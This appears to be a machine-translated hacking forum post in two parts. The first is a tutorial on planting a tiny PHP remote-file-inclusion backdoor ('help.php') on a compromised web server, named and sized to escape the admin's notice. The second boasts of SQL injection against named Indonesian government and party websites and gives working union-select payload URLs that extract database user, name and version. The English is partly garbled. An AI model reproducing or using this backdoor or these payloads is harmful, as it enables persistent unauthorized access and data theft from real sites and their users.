simple PHP server backdoor

Techniques backdooring web server

Let ...
if the hearing would be in our minds phpshell, aspshell, or Techniques backdoring use ssh and others.
But we will study this time is about php shell, and you all have with php shell c99 for example, r57, c100, and others.

as if we find a bug or a slit in the web server that can inject it with php shell script we must Planted in the backdoor so that we can soon enter into the system again ....
It also can we patch again slit or holes where we so no person other than we are in, although the admin themselves do not know: P.

Suspicion webnya admin will have is to go in to see log files or with the suspicious files in the web server, Therefore, if we inculcate phpshell using the names of files that are not suspicious.
But the admin is not carefully will not suspicious of it, but the admin will purchase carefully the size of the file that is not normal in the web server, so from here we need a backdoor that is not suspicious, and small size.

So what the solution?

only a simple bug in the new server so that we can enter again, the remote file inclution errors occur because of the configuration files php.
then we make like this
php files you create in the name you give, here's an example file name help.php

and we help.php content with the php code below

<?include($_REQUEST["url"] . "/help.php");?>

see the size, this is a very small files
and we can upload to our server target

and very small files that will not attract attention from the admin, we can use it with the way http://target.com/[patch] /help.php?url=evilcode.txt???

Just from my simple, safe and happy to try hacking


cool people

stupid sql injection

ho ho ho postings this very quality people even just a truck info:)
Poker experience the place nyalain kompie favored iseng2 Enjoy it while kayaking beginian again nemunya wekekekeke
there is a rift in the sql injection site KPU surabaya wekekekekekeke .....

wong said, sensitive to experience the roads to the outside of the country?
ngurus web's even capable thin !!!!!! geblek ......
I want people's money habisin ... fvck it .....

I was the admin that even in a pay packet of money people can benerin even though people in jahilin;)

I klihatan NOH

http://kpu.surabaya.go.id/breakone.php?nid=-46% 20union% 201.2% 20select, version (), 4, system_user (), user (), 7, a database () / *


http://pusat.golkar.or.id/galeri_golkar.php?g_id=-1% 20union% 201.2% 20select, concat (user (), char (58), database (), char (58), version ()), 4 / *


I have eight duitnya in a charity bagi2 yah ...
I was wekekekeke

regard

cool people